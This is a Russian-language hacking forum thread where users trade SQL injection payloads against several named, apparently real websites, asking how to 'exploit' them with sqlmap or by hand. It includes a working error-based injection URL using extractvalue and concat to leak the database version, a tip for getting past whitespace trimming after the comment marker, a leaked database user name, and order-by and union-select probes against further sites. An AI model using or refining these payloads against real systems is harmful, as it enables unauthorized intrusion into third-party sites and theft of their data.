Помогите раскрутить Пробывал sqlmap'ом. http://www.fanatnauki.ru/index.php?option=com_fireboard&Itemid=8&func=view
http://www.fanatnauki.ru/index.php ?option=com_fireboard &Itemid=8 &func=view &task=showprf',(extractvalue(1,concat(0x3a,version()))),1,2,3,4)-- xyi upd. главное после --ПРОБЕЛ надо какой-то ещё символ поставить, а то trim убирает пробел
Ups Плохо значит пробовал, мапом нужно научиться пользоваться, это не HAvij, но куда более мощный и гибкий. current user: 'kubrikov_fn@localhost'
Он не знал, что скуль в другом параметре - task. Зы. смысл было повторно постить раскрутку ещё и более длинным способом...
Ups Я дал ему способ для мапа и как пример показал что можно и мапом, а что использовать дело хозяйское, вот для того и запостил.
Здравствуйте, подскажите, пожалуйста, что делать, если order by никогда не выдает ошибку? Например, здесь: http://dynatone.ru/products.php?brand=Flight&group=911'
Через name_const не выведешь ничего кроме version() Вот запрос более рабочий с примером работы с таблицами и колонками.
http://www.rosalcohol.ru/site.php?id=8295&table=bmV3c19nbGF2 уязвим параметр id почему не работает юнион селект? колонки подбираются,дальше не хочет версия мускля думаю поэтому и не хочет там 3 версия?
http://www.intim.dn.ua/catalog/vender.php?id=412'+order+by+10&meta_id=1790 Почему тут не работает? Не выводит